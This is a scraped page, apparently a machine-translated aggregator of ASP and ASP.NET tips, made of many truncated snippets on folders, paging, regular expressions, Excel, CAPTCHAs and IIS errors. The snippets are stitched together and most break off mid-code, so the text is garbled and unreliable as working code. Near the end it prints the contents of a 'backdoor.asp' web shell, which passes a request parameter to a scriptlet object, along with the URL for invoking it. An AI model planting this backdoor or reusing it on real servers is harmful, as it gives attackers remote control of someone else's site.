Copy Code code as follows:
' Create a folder function
Function CreateFolder (strfolder) ' parameter is a relative path
' Preferred to determine if the folder you want to establish already exists
Dim Strtestfolder,objfso
Strtestfolder =
Mention ASP Many people think it is a bunch of HTML scripts and are enclosed in some of the code and some JavaScript scripts, such as the collection of some code, such code, plus various types of annotations in different formats, looks like a word:
often heard of ASP upload vulnerability, that is, some Trojan file to modify the suffix name (modified to the image file suffix), upload.
Use the following functions for this situation to identify:
'*********************************
Problem:
1. The following error occurred while accessing the ASP page:
Active Server Pages error ' ASP 0201 'Invalid default scripting language for errorsThe default scripting language applied to the application is invalid2. View
IIS6 has asp.net installed, but the ASP.net tab is not displayed in the site properties.
The solution is as follows:1, if only the. NET Framework 1.1 is installed in IIS, that tab is not displayed. asp.net1.1 is supported by default. The
Copy Code code as follows:
ASP Paging function
function Showlistpage (page,pcount,topicnum,maxperpage,strlink,listname) {
var alertcolor = ' #FF0000 ';
Maxperpage=math.floor (Maxperpage);
Topicnum=math.floor (Topicnum);
Page=math.floor
Found that a lot of ASP's system in the call to the article if not generate static, the output is similar
Http://www.xxx.com/show.asp?id=26 in this format.
If you can change http://www.xxx.com/show/?26 this format, feel good stopgap a lot, of
RegExp is to establish a regular pair of image.
Such as:
Set regEx = New RegExp
Regex.pattern is the way to set the regular pattern,
Such as:
Regex.pattern = "/d+"
Regex.ignorecase = True ' Sets whether case sensitive
Regex.global = True ' Sets
In ASP.net, the WebForm controls are introduced to EnableViewState properties that were not previously. What is the use of this property? We know that for WebForm, its code is on the server side to handle the client's request. When a user browses
ASP time addition and subtraction operation and transformation problem
A=2007-07-24 2:23:15
B=2005-06-25 2:23:15
Question 1
How to convert a to 2007-07-24 to date format do not character format!
Question 2
How to convert a to 2007 to date format do
Directory
First, the Environment configuration
The basic operation of ASP to Excel
ASP operation Excel to generate datasheet
Iv. ASP operation Excel generates chart diagram
Five, server-side Excel file browsing, downloading, deletion scheme
VI.
General verification code generation methods are the same, the main step is two steps
The first step : Random out of a system verification code numbers or letters, and randomly generated numbers or letters to write cookies or session.
Step two :
String Strfield = "Id|classname|classadd";
String strkeywords = This.tbxKeyWords.Text.Trim ();
String strSQL = Dbexe.searchtext ("SELECT * from Class", Strfield, Strkeywords);
Multiple-field fuzzy queries are often used, and the above functions can
Note: There is no implementation of CSS image collection, and the picture is still to be perfected.
Copy Code code as follows:
Using System;
Using System.Data;
Using System.Configuration;
Using System.Web;
Using System.Web.Security;
The following are examples of the ASP.net development website.
1, SQL injection vulnerability.
WORKAROUND: Use stored procedures, and do not use string concatenation of parameters. Simple ways to improve: using SqlHelper and Oledbhelper
2.
The general substitution operation is this:
Copy Code code as follows:
Str=str.replace (String one, string two)
It is not difficult to find a problem, if Str to be recycled many times, the next replacement will add the last
Backdoor.asp contents are as follows:
B=request ("a")
Set fs = GetObject ("Script:d:/web/scriptcodinginfo.wsc#haiyangtop")
FS.LCX (b)
%>
The method is invoked as follows: Http://url/backdoor.asp?a=CreateObject ("Scripting.FileSystemObject").
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.
A Free Trial That Lets You Build Big!
Start building with 50+ products and up to 12 months usage for Elastic Compute Service